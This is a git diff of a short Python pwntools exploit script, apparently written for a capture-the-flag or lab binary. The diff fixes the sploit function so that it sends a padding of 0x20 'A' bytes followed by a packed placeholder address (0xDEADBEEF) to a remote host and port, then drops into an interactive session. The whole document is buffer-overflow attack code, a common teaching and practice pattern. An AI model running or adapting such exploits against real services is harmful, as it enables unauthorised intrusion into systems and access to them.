diff --git a/x.py b/x.py index f6c9224b4ae80fd2b6597530a5082f40bbbf5d6f..a0fdbf2cd368b3993eac8c5271d84298948812a6 100755 --- a/x.py +++ b/x.py @@ -11,11 +11,11 @@ context.log_level = 'info' ### SPLOIT ### -def sploit(addr): - +def sploit(): log.info(p.recvuntil("\n")) # consume until \n - p.sendline(512 * "A" + sploit(0xDEADBEEF)) + p.sendline((0x1c+0x4) * "A" + p32(0xDEADBEEF)) p.interactive() + return if __name__=="__main__": @@ -32,3 +32,4 @@ if __name__=="__main__": p = remote(HOST, PORT) sploit() +